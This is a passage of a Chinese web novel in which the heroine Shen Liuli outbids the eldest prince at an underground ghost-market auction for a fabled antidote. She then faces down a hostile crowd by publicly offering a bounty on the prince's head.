半个时辰后,一辆挂着太医院标识的马车,在十几名狼卫的护送下,一路疾驰,最终停在了揽月楼的后门。
车门打开,陆风搀扶着早已面无人色的顾九,第一个跳下了马车。
紧接着,那个一直处于崩溃边缘的张夫人李氏,也抱着自己的孩子,跌跌撞撞地跟了下来。
早已等候在此的沈琉璃和忠叔等人,立刻迎了上去。
“快!送顾先生去望月台!”沈琉璃看着顾九的伤口,心中一紧,当机立断地吩咐道。
揽月楼,望月台。
当房门被关上的瞬间,顾九再也支撑不住,一口黑血喷了出来,整个人软倒在地。
“顾先生!”春桃发出一声惊呼。
“**……”顾九抹了一把嘴角的黑血,脸上却露出了一个比哭还难看的笑容,“真是看得起小爷我,竟用上了南疆的‘孔雀胆’……”
“孔雀胆?”沈琉璃的心,沉入了谷底。
“嗯。”顾九点了点头,喘着粗气解释道,“此毒,毒素会顺着血脉,在十二个时辰内,直攻心脉。**者,先是四肢麻痹,而后五脏六腑如同被万千只孔雀啄食,最终在无边的痛苦中,心脉碎裂而亡。”
他说得云淡风轻,可听在一旁的春桃耳中,早已是面无人色。
“那……那可有解法?”沈琉璃急切地问道。
“有。”顾九的回答,让所有人的心都为之一松。
“但……解药,只有一味。”他的下一句话,又让所有人的心,都沉入了谷底。
“‘火蟾蜍’的内丹。”
“火蟾蜍?”
“没错。”顾九的眼神,变得有些飘忽,“那东西,只生长于南疆的火山密林中,百年难得一见。而且,它性情暴虐,身怀剧毒,寻常人别说是取其内丹,便是靠近它百步之内,都会化为一滩脓水。”
“这……这跟没有解药,又有什么区别?”春桃带着哭腔说道。
就在此时,那个失魂落魄的李氏,忽然“噗通”一声,跪倒在地。她看着这个为了救自己孩儿,身中剧毒的“神医”,眼中充满了无边的感激。
“神医!神医!您是为了救我孩儿才……”她抓着顾九的衣角,声泪俱下,“您放心!我这就派人!便是踏平了南疆,也定为您寻来那‘火蟾蜍’!”
然而,顾九却只是看着她,缓缓地摇了摇头。
“来不及了。”他惨笑一声,“十二个时辰,从南疆到这里,便是神仙也做不到了。”
绝望。
一股绝望的情绪,笼罩在了所有人的心头。
难道,就真的只能眼睁睁地看着他等死吗?
“妇人之仁!早就该听本王的,直接将张启年一家都绑了!何至于此!”君北玄在她脑中,气得疯狂咆哮。
沈琉璃没有理他,她死死地咬着自己的嘴唇,指甲深深地陷入了掌心。她的大脑,在飞速地运转着,思考着破局的可能。
火蟾蜍……南疆……时间……
时间!
他们现在最缺的,就是时间!
一个念头,如同闪电般,划过了她的脑海!
她猛地抬起头,迎上了众人那绝望的目光。
“谁说,解药一定在南疆?”
她这句话,让所有人都愣住了。
“主公,您的意思是?”陆风第一个反应了过来。
“顾先生,”沈琉璃看向顾九,眼神前所未有的清明,“我问你,这‘火蟾蜍’除了是解毒神物,可还有别的用处?”
顾九一愣,随即答道:“自然是有的,此物至阳至刚,其内丹是炼制一种传说中能延年益寿的‘赤阳丹’的主药。此丹药性霸道,寻常人无福消受,只有那些身居高位的王侯将相,才会不惜重金搜罗此物,以求千秋万代。”
“这就对了!”沈琉璃拍手说道。
她立刻转身,吩咐道:“忠叔!立刻去查!查‘揽月楼’所有会员的卷宗,还有这一个月来,所有进出京城的商队记录!我要知道,最近有没有哪位王公贵族,在暗中搜罗‘火蟾蜍’!”
忠叔虽然不解,但还是领命而去。
“你这是……”君北玄在她脑中,也明白了过来,“你在赌,赌这东西就在京城?”
“不是赌。”沈琉璃在心里,平静地回应,“大皇子既然敢用‘孔雀胆’这种南疆奇毒,说明他身边必然有精通此道的人。一个能弄到奇毒的人,会想不到去寻找对应的神物吗?他搜罗‘火蟾蜍’,或许不是为了解毒,而是为了炼制‘赤阳丹’来讨好父皇,为自己将来登基铺路!”
这番推论,大胆而缜密,让君北玄陷入了长久的沉默。
不到半个时辰,忠叔便行色匆匆地跑了回来。
“小姐!查到了!”他将一本卷宗,呈了上来,“光禄寺少卿王大人的夫人,五日前曾在‘揽月楼’与人闲聊时抱怨过。说她家夫君,奉了大皇子的命令,好不容易从南洋使臣手中,弄来了一只‘火**’,本想献给殿下邀功。谁知,半路上竟被一个不长眼的家丁给弄丢了,如今,那只‘火**’,正在京城的‘鬼市’里,待价而沽!”
喜从天降!解药就在京城!
“鬼市?”忠叔的眉头,紧紧地锁了起来,“小姐,那里龙蛇混杂,规矩森严,我们没有门路,怕是……”
“谁说我们没有门路?”
沈琉璃的脸上,露出了笑容。
她走到忠叔面前,从自己的发髻上,取下了一支看起来毫不起眼的银簪。
“忠叔,”她将银簪交到忠叔手中,“您立刻去一趟‘四海珍宝阁’,将此物亲手交给刘掌柜。”
“告诉他,我沈琉璃,今夜要亲自去一趟‘鬼市’。我需要他,为我安排一个最可靠的引路人。”
“另外,”她的眼中,寒光闪过,“让他帮我放出话去。”
“就说,我揽月楼,愿倾
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尽所有,买下那只‘火**’!”
“我倒要看看,在这京城里,谁敢跟我抢!”
“小姐!您……您要亲自去鬼市?!”春桃第一个失声惊叫,“不行!绝对不行!奴婢听说,那地方不是人去的!里面都是些**不吐骨头的妖魔鬼怪!您金枝玉叶的,怎么能去那种地方冒险!”
忠叔的脸上也写满了忧虑:“是啊小姐,鬼市规矩森严,仇杀遍地,自开市百年以来,还从未听说过有哪家的千金小姐敢亲身涉足。此事,还是交由老奴去办吧!”
就连一直沉默的陆风,也难得地开了口:“主公,忠叔所言极是,您身份尊贵,不宜涉险。末将愿亲率狼卫前往,便是龙潭虎穴,也定为顾九取回解药!”
看着眼前众人,沈琉璃的心中流过一阵暖意。但她的眼神,却没有任何动摇。
……
忠叔的动作很快,不过一炷香的功夫,四海珍宝阁的刘掌柜便亲自赶到了揽月楼。
“沈小姐……”他躬身行礼。
“刘掌柜不必多礼。”沈琉璃亲自为他倒了一杯茶,“今夜请您前来,是有一件万分火急的事,需要您帮忙。”
当刘掌柜听完沈琉璃的请求后,他的脸上也露出了为难的神情。
“东家,您要去鬼市?”他擦了擦额头的冷汗,“那地方可不是什么善地啊,尤其是今夜,老朽刚刚得到消息,说鬼市里出了件了不得的宝贝,各方势力都已闻风而动,怕是会有一场龙争虎斗。”
“我知道。”沈琉璃点了点头,“所以,我才更需要一个可靠的引路人。”
刘掌柜看着沈琉璃,沉吟了许久,最终从怀里取出了一块黑色的铁牌,递了上去。
“沈小姐,这是老朽早年间,无意中得到的一块‘鬼市’信物。”他解释道,“您拿着这块牌子,去城西的‘破瓦窑’,找到一个叫‘老八’的更夫。他是鬼市里最守规矩的引路人,您将此物交给他,他自会带您进去。”
“多谢刘掌柜。”沈琉璃郑重地接过了铁牌。
……
子时,夜最深沉的时候。
一辆毫不起眼的青布马车,悄无声息地驶出了揽月楼的后门。
车内,沈琉璃换上了一身便于行动的黑色劲装,脸上戴着一张素白的狐狸面具。春桃则是一身小厮打扮,脸上也戴着一张滑稽的兔子面具,但那双露在外面的眼睛里,却写满了紧张。
“小姐,我们真的要去吗?”她小声地问道,声音都在发颤。
“怕了?”
“不……不怕!”春桃挺了挺小胸脯,嘴硬道,“奴婢只是觉得,这面具戴着有点闷。”
“哼,胆小如鼠。”君北玄在她脑中,毫不留情地批判道,“上了战场,第一个当逃兵的就是她。”
“王爷,您就少说两句吧。”沈琉璃在心里无奈地回了一句,“您以为谁都像您一样,天生就是打仗的料吗?”
第41章 鬼市的光景
沈琉璃一边说着,一边检查着自己袖中藏着的**和防身的药粉。
“听着,”君北玄的声音,忽然变得无比严肃,“所有国家,能叫做鬼市的地方,都是三教九流,鱼龙混杂。记住,少说多看,不要相信任何人,除了陆风。”
“知道了,将军。”沈琉璃嘴上应着,心中却腹诽道:“说得好像您去过一样。”
马车在黑暗的街道中穿行,最终停在了城西一片破败的贫民区。
这里,就是“破瓦窑”。
陆风从车辕上悄无声息地落下,他走到一个蜷缩在墙角的老更夫面前,将那块黑色的铁牌,递了过去。
老更夫抬起眼睛,瞥了一眼铁牌,又瞥了一眼不远处的马车。
他没有说话,只是慢悠悠地站起身,提起那盏破旧的灯笼,朝着一条更黑暗的小巷走去。
马车,跟了上去。
小巷的尽头,是一堵看起来平平无奇的青砖墙。
老八走到墙边,伸出枯瘦的手,在墙上摸索了片刻,然后,用一种特殊的节奏,敲击了九下。
“轰隆隆——”
一阵沉闷的机括声响起,那堵墙竟缓缓地向内打开,露出了一条通往地下的甬道。一股奇特的气味,从甬道内扑面而来。
“规矩,都懂吧?”老八沙哑的声音响起。
“懂。”陆风言简意赅。
“那就好。”老八点了点头,提着灯笼,第一个走了进去。
甬道很长,也很潮湿,墙壁上不时有水珠滴落。走了约莫一炷香的功夫,前方终于出现了一点光亮,紧接着,喧闹的人声,如同潮水一般汹涌而来!
当沈琉璃走出甬道的那一刻,饶是她早已做好了心理准备,还是被眼前的景象给撼动了。
这里,竟是一片无比巨大的地下溶洞!
溶洞的穹顶上,镶嵌着无数能发出幽光的矿石,将整个空间照得如同白昼。一条地下暗河,从溶洞中央穿流而过,河上架着数座造型各异的石桥。
河的两岸,则是一片望不到头的集市!
无数个摊位,星罗棋布。
摊位上摆放着各种奇珍异宝:有在笼子里发出嘶吼的异兽,有在玉盒中散发着幽光的草药,有早已失传的前朝孤本,甚至还有一些摊位,公然地在售卖着朝廷明令禁止的兵器和铠甲!
穿行在集市中的人,更是千奇百怪。
他们无一例外,都戴着各式各样的面具,有达官显贵,有江湖豪客,有西域来的胡商,甚至还有几个用斗篷遮住了面部的人。
这里,是欲望的天堂,也是律法的真空。
“欢迎来到鬼市。”老八沙哑的声音,在他们身后响起,“在这里,只要你有足够的钱,就能买到你想要的一切。前提是,你得有命把它带出去。”
沈琉璃深吸了一口气,压下心中的震撼。她今夜的战争,才刚刚开始。
她看向老八,问道:“那只‘火**’,在何处?”
老八伸出手指,指向了暗河对岸,一座看起来最是气派的阁楼。
“‘奇珍阁’,鬼市里最大的铺子。”他缓缓说道,“你要的东西就在那里。不过,我劝你最好快一点。”
“因为,你的对手已经到了。”
沈琉璃顺着他手指的方向看去,只见在“奇珍阁”的门口,一个同样戴着面具,身形异常挺拔的身影,正带着几名护卫,缓缓地走了进去。
虽然隔着很远,虽然对方戴着面具,但沈琉璃还是一眼就认出了他。
那股熟悉的,属于皇家的威严,是任何伪装都无法掩盖的。
大皇子,李裕!
他怎么会在这里?!
沈琉璃的心,在一瞬间沉了下去。
“小姐……”春桃显然也认出了那道身影,她吓得声音都在发颤,下意识地抓紧了沈琉璃的衣袖,“是大皇子!他怎么也来了?我们还进去吗?”
“慌什么!”君北玄的声音,在她脑海中冰冷地响起,“他既然来了,正好省得我们再去找他!陆风,准备动手,今夜就让他有来无回!”
这位鬼王爷的思想,永远是那么地简单粗暴。在他看来,既然敌人已经出现了,那么最好的解决办法,就是直接消灭敌人。
“王爷,您是不是忘了,我们是来救人的,不是来灭口的。”沈琉璃在心里,无奈地叹了口气,“这里是鬼市,不是您的军营。我们若是在这里动了他,别说是拿到解药,恐怕我们连这扇门都走不出去。”
“迂腐之见!”君北玄气得在她脑子里来回踱步,“那你说怎么办?我们就眼睁睁地看着他把解药买走,然后回去等着给顾九收尸吗?!”
“当然不。”沈琉璃的眼神,在面具下变得锐利起来,“将军,您教过我,两军交战,攻心为上。他既然想玩,那我们今夜就陪他好好玩一玩。”
她没有再理会脑中的鬼王爷,而是轻轻地拍了拍春桃的小手:“走,我们进去。”
……
奇珍阁内,与外面那混乱嘈杂的集市,恍若两个世界。
这里没有喧嚣的叫卖,没有拥挤的人群,整个阁楼内,自成一方静谧天地。
地上铺着厚厚的波斯地毯,墙壁上挂着几幅看不出年代的古画,空气中弥漫着一股淡淡的龙涎香,奢华却又透着一股令人不安的静谧。
十几名身着黑衣,脸上戴着恶鬼面具的护卫,如同雕塑一般,分列于大厅的两侧。他们的气
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息沉稳,眼神锐利,显然都是一等一的好手。
而在大厅的正中央,只摆着一张由黑曜石打造的长桌。
桌子的尽头,坐着一个身着锦袍的男人,脸上戴着一张纯金打造的面具。
他便是这奇珍阁的主人,一个在乾国地下世界,足以呼风唤雨的人,鬼手先生。
传闻,他富可敌国,背景通天。他那只总是藏在袖中的左手,并非血肉之躯,而是一只由玄铁打造的**利器。
此刻,大皇子李裕,正带着他的两名护卫,站在那张黑曜石长桌的另一端。
他虽然也戴着面具,但那股与生俱来的倨傲,却让他与周围的环境格格不入。他看着眼前这个连他都要以礼相待的鬼手先生,目光中不耐的情绪一闪而逝。
“先生,”他缓缓开口,“明人不说暗话,那只‘火**’我要了,你开个价吧。”
鬼手先生擦拭手指的动作,微微一顿。
他抬起头,透过那张纯金面具,看向李裕,发出了一声轻笑。
“殿下说笑了。”他的声音,充满了磁性,“我奇珍阁的规矩,您又不是第一天知道,这里的东西从来都不是用‘金额’来衡量的。”
“那先生的意思是?”
“价高者,得之。”鬼手先生缓缓说道,“这是鬼市唯一的规矩,也是我奇珍阁能在此地屹立百年的根本。”
李裕的眉头,在面具下紧紧地锁了起来。
就在此时,沈琉璃带着春桃和陆风,缓缓地走进了阁楼。
“看来,我们来得还不算晚。”
沈琉璃的声音,清脆悦耳,打破了房间里的宁静。
李裕猛地转过头,当他看到那个戴着狐狸面具的纤细身影时,他的瞳孔骤然收缩!
虽然看不见脸,但他还是一瞬间就认出了她!
是她!沈琉璃!
这个几次三番坏他好事,让他颜面尽失的**,竟敢追到这里来?!
一股无名的怒火,瞬间涌上了他的心头。
而鬼手先生,在看到沈琉璃的那一刻,那只慢条斯理擦拭着丝帕的手,动作不易察觉地停顿了一下。
“哦?”他看向沈琉璃,又看了看她身后的陆风,沙哑地笑道,“看来,今夜的客人,都到齐了。”
他站起身,对着沈琉璃,做了一个“请”的手势。
“这位想必就是放出话来,要倾尽所有买下‘火**’的人吧?请坐。”
沈琉璃坦然地走到了长桌的另一侧,与李裕遥遥相对。
四道目光,在空中交汇,虽然隔着面具,却仿佛已经碰撞出了无形的火花。
“好了,既然都已到场。”鬼手先生重新坐下,“那我们,便开始吧。”
第42章 漫长的归途
鬼手先生并未高声言语,只是轻轻拍了拍手。
一名身着黑纱的侍女,便手中捧着一个方盒缓缓地走了上来。
盒子打开,一股灼热的气浪,瞬间扑面而来!
只见一只通体赤红,只有巴掌大小的**,正安静地趴在寒玉上。它每一次呼吸,都会从口中喷出肉眼可见的火星,将周围的空气都灼烧得微微扭曲。
正是那传说中的神物,火蟾蜍!
“此物,乃是南洋火山深处的异种,百年难得一见。其内丹不仅是解百毒的圣药,更是炼制‘赤阳丹’的主药。”鬼手先生不紧不慢地介绍道。
“按照鬼市的规矩,此等神物,不设底价。”
“二位,可以开始出价了。”
他说完,便好整以暇地靠在了椅背上,准备欣赏一场即将上演的好戏。
“十万两,黄金。”
第一个开口的,是李裕。
他一开口,便是一个足以让人窒息的天价!
十万两黄金!这几乎相当于乾国一年的税收!
他就是要用这种最直接的方式,告诉所有人,在这场金钱的游戏里,他是绝对的王者!
春桃在听到这个数字时,早已是两腿发软,几乎要瘫倒在地。她偷偷地拉了拉沈琉璃的衣袖,用蚊子般的声音说道:“小姐,我们还是走吧……”
然而,沈琉璃却像是没有听到一样。
她迎着李裕那挑衅的目光,缓缓地摇了摇头,轻声地说道:“您似乎忘了,鬼手先生刚才说过,这里的东西从来都不是用‘金额’来衡量的。”
李裕的脸色,在面具下变得无比阴沉。
“那依你之见,该用什么来衡量?”他冷冷地反问道。
“自然是,用价值。”
沈琉璃站起身,对着鬼手先生微微一福。
“先生,”她朗声说道,“我只出五万两黄金。”
“除此之外,”她继续说道,“我愿再献上一份,独一无二的‘礼物’。”
她从袖中,取出了一本装帧精美的册子,轻轻地放在了桌上。
“这是‘玉容阁’,最新研制出的三款产品,‘净颜’、‘花露’、‘凝脂’的独家配方。”
“我愿将这三款产品,在江南地区的经营权,无偿赠予先生。”
“我只有一个条件。”
她看着鬼手先生,说道:“我需要奇珍阁,成为我们在江南地区唯一的合作伙伴!”
这番话,掷地有声!
如果说,李裕的报价是霸道。
那么,沈琉璃的报价就是野心!
她给出的不是一笔钱,而是一座源源不断的金山!
鬼手先生看着眼前这个,戴着狐狸面具的少女,似乎极为欣赏。而李裕,在听完沈琉璃这番话后,再也无法保持镇定!
“沈琉璃!”他怒喝一声,竟是直接撕下了伪装,“你好大的胆子!竟敢在本殿下面前,**这些商贾的伎俩?!”
“殿下息怒。”沈琉璃也不再伪装,微微一笑,“您是皇子,自然不懂我们这些小女子的生意经。我只是,在用我自己的方式,来展现我的‘诚意’罢了。”
“你!”
“好了,殿下。”鬼手先生适时地开口,打断了李裕的怒火。
他拿起那本配方,仔细地翻看了几页,随即缓缓地合上。
他看着李裕,又看了看沈琉璃。
最终,他将那只装着“火蟾蜍”的盒子,轻轻地推向了沈琉璃的方向。
“成交。”
他缓缓地吐出了这两个字。
“恭喜你,小姐。”
“从现在起,这只‘火蟾蜍’是你的了。”
当“成交”二字,在奇珍阁内缓缓落下时,春桃那颗早已悬到嗓子眼的心,终于“噗通”一声落回了肚子里。
她看着那只寒玉宝盒,激动得差点当场欢呼起来。
赢了!小姐竟然真的赢了!
然而,与她的喜悦截然相反,大皇子李裕这边的气氛已是降至冰点。
他身后两名戴着恶鬼面具的护卫,几乎是下意识地上前一步,手已经按在了腰间的刀柄上,周身散发出毫不掩饰的杀气。
整个阁楼内的温度,仿佛都降低了几分。
“怎么?”
鬼手先生不紧不慢的声音,再次响起。他甚至没有回头,只是用那只没有戴手套的右手,轻轻地叩了叩面前的黑曜石长桌。
“咚,咚,咚。”
三声轻响,却如同三记重锤,狠狠地砸在了所有人的心上。
大厅两侧的黑衣护卫,在同一时刻,齐刷刷地向前踏出一步。
他们手中的弯刀,也已悄然出鞘半寸,森然的寒光在灯火下闪烁,将整个空间都映照得如同修罗场。
“殿下,”鬼手先生的声音,依旧是那般沙哑,“这里是鬼市,进了我这奇珍阁的门,便要守这里的规矩。”
“谁若是想在这里动手……”他顿了顿,缓缓说道,“那便是不给我鬼手面子了。”
李裕身后两名护卫的动作,猛地一僵。他们当然知道“鬼手先生”这四个字,在乾国的地下世界里,意味着什么。
李裕的胸口剧烈地起伏着,面具下的那张脸早已是铁青一片。自己今天是真真切切地被羞辱了,不仅想要的东西被人当面抢走,甚至连发作的资格都没有。
“好,很好。”
最终,他从牙缝里挤出了这几个字。
他没有再看沈琉璃,而是死死地盯住了鬼手先生。
“先生今日,真是给孤上了一课。”他缓缓说道,“只是不知,先生这奇珍阁的生意,是否能永远都这么好下去。”
这句充满了威胁的话,让在场所有人的心都提了起来。
然而,鬼手先生却像是没有听出其中的意味,只是笑着说道:“多谢殿下吉言。我奇珍阁的生意,或许会有不好的一天。但至少,在我鬼手还活着的这一天,它就倒不了。”
“告辞!”
李裕不再多言,猛地一甩袖袍,带着他的人头也不回地走出了奇珍阁,那背影充满了压抑不住的怒火。
看着他离去的背影,春桃才终于敢大口地喘气,只觉得后背早已被冷汗浸透。
“小姐,吓……吓死我了……”
“出息。”君北玄在她脑中,冷哼一声,“一头打了败仗的丧家之犬而已,就把她吓成这样。”
“王爷,您说得轻巧。”沈琉璃在心里回敬了一句,“您现在自然是“魂魄”说话不腰疼,刚才那股杀气可是实实在在的。”
她没有再理会那个只会说风凉话的鬼王爷,而是站起身,对着鬼手先生郑重地行了一礼。
“多谢先生,为我解围。”
“不必。”鬼手先生摆了摆手,“我不是在为你解围,我是在维护鬼市的规矩。”
他将那本写满了配方的册子,小心翼翼地收起,随即又将那只装着“火蟾蜍”的盒子,亲自交到了沈琉璃的手中。
“东西是你的了。”他缓缓说道,“不过,我还是要提醒你一句。”
“鬼市的规矩,只在这扇门内有效。”
“出了这扇门,是生是死,各安天命。”
他的话,让沈琉璃的心,再次提了起来。
她知道,李裕绝不会就这么善罢甘休。今夜,从这奇珍阁出去的这段路,怕是会比她想象中还要漫长。
……
当沈琉璃捧着寒玉宝盒,走出奇珍阁的大门时,外面那喧嚣的集市,似乎与之前并无不同。
依旧是人声鼎沸,灯火通明。
可她却敏锐地感觉到,空气中多了一股说不清道不明的紧张气息。
那些
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原本还在各自摊位前叫卖的商贩,那些在人群中穿梭的游侠,他们的目光,都有意无意地朝着自己这边瞟了过来。
他们的眼神中,充满了毫不掩饰的贪婪与欲望。
“看来这位大皇子殿下,已经为我们准备好了一份厚礼啊。”君北玄在她脑中,冷冷地说道。
“他这是想借刀**。”沈琉璃立刻明白了过来,“他将‘火蟾蜍’的消息,散播出去了!他要让整个鬼市的人都知道,我这个‘外来者’带走了他们所有人都想得到的宝物!他要让所有人都成为他的刀!”
“好一招毒计!”
“主公,跟紧我。”
陆风沉稳的声音,在她耳边响起。
他不知何时,已经走到了沈琉璃的身前,将她和春桃,都护在了自己的身后。他那张冷峻的脸,在周围摇曳的灯火下显得更加坚毅。
“春桃,拿好东西。”沈琉璃将手中的寒玉宝盒,交给了早已吓得瑟瑟发抖的春桃。
“小……小姐……我怕……”
“怕,就抱紧它。”沈琉璃的声音,异常冷静,“记住,你现在抱着的,不是什么宝物,是顾先生的命。谁敢碰它,你就用牙咬,用头撞,听到了吗?”
“……听……听到了!”春桃被她这番话一激,竟也生出了几分勇气,她将那宝盒死死地抱在怀里,像一只护食的小兔子,警惕地看着四周。
他们开始,朝着来时的那条路,缓慢地移动。
引路人老八,还是一副半死不活的样子,提着他那盏破灯笼,自顾自地走在最前面。
起初,一切还算正常。
可当他们走过一座石桥,进入一条相对狭窄的巷道时,麻烦终于来了。
巷子的尽头,不知何时,竟被几个看起来醉醺醺的壮汉给堵住了。
“哟,这不是刚才在奇珍阁里,大发神威的小娘子吗?”为首的一个独眼壮汉,晃晃悠悠地走了过来,口中喷着酒气,“听说您得了一件了不得的宝贝?能不能让哥几个也开开眼啊?”
“滚。”
陆风的回答,只有一个字。
“嘿,你这护卫还挺横啊!”那独眼龙狞笑一声,对着身后招了招手,“兄弟们,给我上!咱们也来劫个富、济个贫!”
他话音未落,那几个壮汉便怪叫着,从四面八方朝着他们围了上来!
“找死!”
陆风的眼中,寒光闪过。他没有拔刀,只是身形微微一沉,便迎了上去!
只听“砰!砰!砰!”几声闷响!
那几个看起来强壮无比的壮汉,在陆风面前,竟如同纸糊的一般!一个照面,便被他尽数放倒在地,一个个抱着自己的胳膊腿,哀嚎不已。
“一群废物。”君北玄在她脑中,不屑地评价道。
然而,沈琉璃的心中,却没有半分轻松。
因为她知道,这不过是开胃小菜。
果不其然,当他们走出这条巷道时,前方的广场上,不知何时,已经**了黑压压的一片人。
他们都戴着各式各样的面具,手中拿着五花八门的兵器,将他们回去的路,堵得水泄不通。
他们的眼中,都闪烁着贪婪的光芒。
“交出‘火蟾蜍’!”
不知是谁,在人群中,喊了这么一嗓子。
紧接着,所有人都跟着嘶吼了起来!
“交出宝物!饶你不死!”
“鬼市的东西,不是你们这些外来人能带走的!”
群情激奋,眼看就要失控!
“怎么办?小姐,怎么办?”春桃早已是泣不成声。
“杀出去。”君北玄的声音,简单直接。
“不行。”沈琉璃摇了摇头,“他们人太多了,我们一旦动手,便会陷入无休止的包围。到那时,便是陆将军,也难保万全。”
第43章 我要买大皇子的命
沈琉璃看着眼前这黑压压的人群,深吸了一口气。
随即,她做出了一个让所有人都意想不到的举动。
她竟是缓缓地走到了陆风的身前,独自一人,面对着那成百上千,充满了敌意的目光。
她摘下了脸上的狐狸面具。
露出了那张,清丽绝伦,却又带着几分苍白的脸。
“我,沈琉璃,尚书府嫡女,揽月楼之主。”
她的声音不大,却清晰地传入了在场每一个人的耳中。
“今日,我来鬼市,只为求一味救命的药。”
“此药,关系到我一位至亲的性命,十二个时辰内,若无此药,他便性命不保。”
“诸位,都是行走于江湖的好汉,想必也都有自己的家人与朋友。”
“今日,我沈琉璃,在此恳请各位,行个方便。”
“这份恩情,我揽月楼,以及我身后的尚书府,定当铭记于心,他日必有厚报!”
她这番话,说得不卑不亢,情真意切。
人群中,出现了一阵骚动。
有些人,在听到“尚书府”和“揽月楼”的名号后,眼中露出了忌惮。可更多的人,眼中还是不加掩饰的贪婪。
“少**跟我们来这套!”一个粗哑的声音,从人群中响起,“什么尚书府,什么揽月楼?到了这鬼市,就得守我们这里的规矩!”
“没错!想要活命,就把东西交出来!”
看着眼前这些,被贪婪冲昏了头脑的亡命之徒,沈琉璃这番话失败了。
“看到了吗?”君北玄在她脑中,冷冷地说道,“这就是你所谓的‘攻心为上’,对付一群豺狼,你却想跟他们讲道理?愚蠢!”
沈琉璃没有理他,她的眼中,闪过了一抹寒光。
“既然,道理讲不通。”
她缓缓地,从袖中取出了一样东西。
一张,面额高达十万两的银票!
“那我们,就来谈谈生意吧。”
她将那张银票,高高举起,声音陡然变得冰冷。
“这张银票,我只买一样东西,大皇子李裕的项上人头!”
当沈琉璃的话,在鬼市广场上响起时,整个世界仿佛都被按下了暂停键。
大皇子李裕,项上人头!
那些原本还叫嚣着要“交出宝物”的亡命之徒,此刻竟是鸦雀无声。他们所有人的动作都僵住了,面具下的眼神,充满了不敢置信。
买……买皇子的人头?!
还是当朝最受圣宠的大皇子?!
这个女人,是疯了吗?!
就连一直跟在沈琉璃身旁,见惯了自家小姐各种惊世骇俗之举的春桃,此刻也彻底懵了。
她张大了嘴,那张滑稽的兔子面具下,是一张呆若木鸡的脸,她感觉自己的脑子已经完全不够用了。
而站在沈琉璃身前的陆风,他的身形,也在这一刻微微一震。
“疯了……你这个女人疯了!”
在沈琉璃的脑海中,君北玄的咆哮声,几乎要将她的意识给掀翻了!
“悬赏皇子?!沈琉璃,你知不知道你在做什么?!这不是计谋!这是在向整个乾国皇室宣战!你这是在自寻死路!”
这位曾经的战神,感觉到了“失控”。
他发现,眼前这个女人的行事风格,已经完全超出了他的理解。她的路数,不按常理,不讲章法,简直就是一柄毫无轨迹可循的乱刀!
“将军,”沈琉璃在心里,平静地回应,“您不是一直教我,最好的防守就是进攻吗?”
“可我没教你,用鸡蛋去砸石头!”
“那是因为,”沈琉璃笑道,“您不知道,有时候,一颗看似脆弱的鸡蛋,里面装的可能是天下最猛烈的**。”
她没有再理会脑中的鬼王爷,她只是静静地举着那张银票,迎着成百上千道,贪婪与狂热的目光。
死寂,只持续了短短数息。
随即,整个鬼市,彻底沸腾了!
“她……她说什么?买大皇子的人头?!”
“十万两!我的天呐?!”
“疯了!这个女人绝对是疯了!她这是想**啊!”
人群瞬间炸开了锅!之前那股,由大皇子李裕煽动起来的贪欲之火,在这一刻,被一个更加疯狂的贪婪给冲垮了!
抢一个来路不明的“火蟾蜍”,虽然诱人,但终究是要得罪尚书府和揽月楼,风险极大,而且这玩意对普通人来讲毫无价值。
可若是……能拿到这笔悬赏呢?
这个念头,像一颗最毒的种子,在每一个亡命之徒的心中,疯狂地滋长起来!
他们的目光,开始不自觉地转向了不远处的奇珍阁。他们想起了,刚才从里面,怒气冲冲地走出来的那位“贵客”。
一瞬间,李裕从一个高高在上的“猎人”,变成了一个在所有人眼中,闪闪发光的“猎物”!
“沈琉璃!”
一声充满了无边怒火的咆哮,从奇珍阁的方向传来!
大皇子李裕,再也无法保持镇定。他带着他的护卫,去而复返,死死地盯着广场中央的沈琉璃,那双隐藏在面具下的眼睛,早已是血红一片!
他怎么也没想到,这个女人,竟敢用这种方式来反击他!她这是在用最恶毒的方式,将他架在火上烤!
“你好大的胆子!”李裕指着沈琉璃,声音都在发颤,“竟敢在此地,妖言惑众,污蔑皇子!来人!给孤将这个**,就地格杀!”
他身后的两名护卫,立刻拔刀,便要上前。
然而,他们刚一动,周围那些原本还在犹豫的鬼市众人,竟不约而同地向后退了一步。
他们看向李裕的眼神,变得无比古怪。有贪婪,有忌惮,但更多的是一种审视。
他们在审视,这个“猎物”的价值。
李裕的心,猛地一沉!
他这才意识到,自己犯下了一个致命的错误。
他不该回来的!
他一回
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来,就等于坐实了自己,就是那个“价值连城”的悬赏目标!
“殿下,”他身旁的一名护卫,也察觉到了气氛的不对,连忙压低声音道,“此地不宜久留!我们快走!”
李裕死死地攥着拳头,他知道,自己今夜已经输了,输得一塌糊涂。
“沈琉璃,”他看着那个,在人群中的少女,从牙缝里挤出了五个字,“我们走着瞧!”
说完,他不再有半分停留,带着他的人,狼狈不堪地朝着鬼市的另一个出口,快步离去。
看着他的背影,沈琉璃知道,自己赌赢了。
她缓缓地收回了那张银票,对着眼前这群,心思各异的鬼市众人,微微一福。
“诸位,”她的声音,再次响起,“看来,今夜的生意,是谈不成了。”
说完,她不再看任何人,只是对着身旁的陆风和春桃,轻声道:“我们走。”
这一次,再也无人敢上前阻拦。
这片黑压压的人群,竟主动地为他们让开了一条通路。
所有人,都用一种敬畏的眼神,目送着这个,敢在鬼市里悬赏刺杀皇子的疯女人,缓缓地离去。
……
当那辆青布马车,重新回到都城那熟悉的街道上时。
春桃,才终于“哇”的一声,哭了出来。
她将怀里那只寒玉宝盒,往车厢里一扔,整个人便瘫软在了沈琉璃的怀里。
“小姐……呜呜呜……吓死我了!我以为我们今天,真的要死在那里了!”她哭得上气不接下气,眼泪鼻涕流了一脸。
沈琉璃没有推开她,只是轻轻地拍着她的后背,柔声安慰道:“好了好了,没事了,我们这不是平安出来了吗?”
“平安?”君北玄在她脑中,发出了一声讥讽的冷笑,“你管这叫‘平安’?你刚刚,当着至少上千人的面,买**害当朝储君!沈琉璃,本王现在真的很想知道,你这个小小的脑袋瓜里,是不是装的都是浆糊?!”
“王爷,您不懂。”沈琉璃在心里,有气无力地回了一句,“这叫‘风险对冲’。”
“风险对冲?”
“没错。”沈琉璃解释道,“我若是不这么做,今夜,我们三人,大概率会死在鬼市。我这么做了,我们至少能活着出来。至于那个悬赏……”
她顿了顿,继续说道:“您觉得,这鬼市里,真的有人敢去刺杀大皇子吗?”
“……自然是没有。”君北玄想也不想,便回答道,“刺杀皇子,形同谋逆,那是诛九族的大罪。这群亡命之徒虽然贪婪,但还没蠢到那个地步。”
